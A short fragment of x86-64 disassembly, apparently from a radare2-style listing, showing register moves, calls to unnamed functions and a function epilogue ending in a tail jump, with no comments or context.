mov dword [r12 + 0x4c], eax
mov rcx, r12
call fcn.100023be8
test r13d, r13d
jne 0x1000118c4
lea r8d, [r13 + 2]
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x118]
call fcn.100023dc8
movsxd r8, dword [0x100073070]
xor r9d, r9d
mov ebx, 0x111
mov edx, ebx
lea rcx, [0x100073460]
call fcn.100004410
movsxd r8, dword [0x10007306c]
xor r9d, r9d
mov edx, ebx
lea rcx, [0x100073460]
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
jmp fcn.100004410
xor r12d, r12d
jmp 0x100011782
mov r12, qword [rcx + 0x180]
jmp 0x10001178b